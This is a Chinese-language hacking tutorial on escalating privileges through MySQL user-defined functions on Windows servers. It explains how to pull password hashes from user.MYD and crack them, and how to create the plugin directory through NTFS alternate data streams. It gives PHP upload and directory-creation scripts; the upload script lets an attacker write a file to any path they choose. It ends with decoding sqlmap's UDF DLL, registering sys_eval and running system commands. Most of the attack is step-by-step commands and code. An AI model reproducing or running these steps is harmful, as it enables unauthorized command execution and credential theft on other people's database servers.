UDF提權
一、資訊蒐集
1、賬號密碼
MYSQL所有設定預設都儲存在“D:\phpStudy\2018\PHPTutorial\MySQL\data”中,也就是安裝程式的data目錄下,有關使用者一共有三個檔案即user.frm、user.MYD和 user.MYI,MYSQL資料庫使用者密碼都儲存在user.MYD檔案中,包括root使用者和其他使用者的密碼。在有許可權的情況下,我們可以將User.frm、user.myd和User.myi三個檔案下載到本地,通過本地的mysql環境直接讀取user表中的資料。當然也可使用文字編輯器將user.MYD開啟將root賬號的密碼複製出來到到cmd5.com進行查詢和破解
2、檢視資料庫安裝路徑
select @@basedir;
3、檢視是否允許匯入|匯出
show variables like '%secure%';
show global variables like 'secure%'; 當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許匯入|匯出,此時無法提權 當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的匯入|匯出只能發生在 /tmp/ 目錄下 當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的匯入|匯出做限制,此時可提權 secure_file_priv 的值在MySQL資料庫的安裝目錄的 my.ini 檔案中配置中,沒有代表secure_file_priv 的值為 NULL,可以手動新增
4、檢視mysql版本
select version();
5、檢視mysql是多少位
select @@version_compile_os;
二、UDF提權條件
(1)Mysql版本大於5.1版本udf.dll檔案必須放置於MYSQL安裝目錄下的lib\plugin資料夾下。
(2)Mysql版本小於5.1版本。udf.dll檔案在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
(3)掌握的mysql資料庫的賬號有對mysql的insert和delete許可權以建立和拋棄函式,一般以root賬號為佳,具備root賬號所具備的許可權的其它賬號也可以。
(4)可以將udf.dll寫入到相應目錄的許可權。
三、提權
一般提權都在拿到了一個低許可權,在考慮的
1、建立plugin目錄
- NTFS ADS流來建立資料夾的方法
select @@basedir; //查詢到mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS建立lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS建立plugin目錄
執行成功以後就會plugin目錄,然後再進行匯出udf.dll即可。
- 建立一個上傳檔案
<?php
$temp = explode(".", $_FILES["file"]["name"]);
$img_path = $_GET['save_path']."/". $_FILES["file"]["name"] ;
move_uploaded_file($_FILES["file"]["tmp_name"], "$img_path" );
echo "檔案儲存在: " . "$img_path" . $_FILES["file"]["name"];
?>
- 目錄建立檔案
上傳一個PHP指令碼
<?php
//用於建立資料夾
$name = $_GET['name'];
/*iconv方法是為了防止中文亂碼,保證可以建立識別中文目錄,不用iconv方法格式的話,將無法建立中文目錄*/
$dir = iconv("UTF-8", "GBK",$name);
/**mkdir方法的第一個引數是要建立的目錄路徑,
**第二個引數是指建立目錄的許可權,在windows系統下
**該引數會被忽略,第三個引數是指是否建立多級目錄,
**預設為false
**/
if (!file_exists($dir)){
if(@mkdir ($dir)){
echo $dir;
}else{
echo "error";
}
}
?>
2、上傳udf.dll
SQLmap可以實現匯出dll檔案,目錄在 sqlmap/udf/mysql/windows(這裡的32位/64位,指的是mysql的位數),如果位數錯誤則會報錯。
SQLmap裡的duf.dll是經過編碼的使用 sqlmap/extra/cloak目錄下的 cloak.py進行解碼
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o udf.dll
將生成的 udf.dll
上傳到 lib/plugin
下
3、建立函式
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
4、執行命令
select sys_eval ('whoami');
5、刪除函式
drop function sys_eval;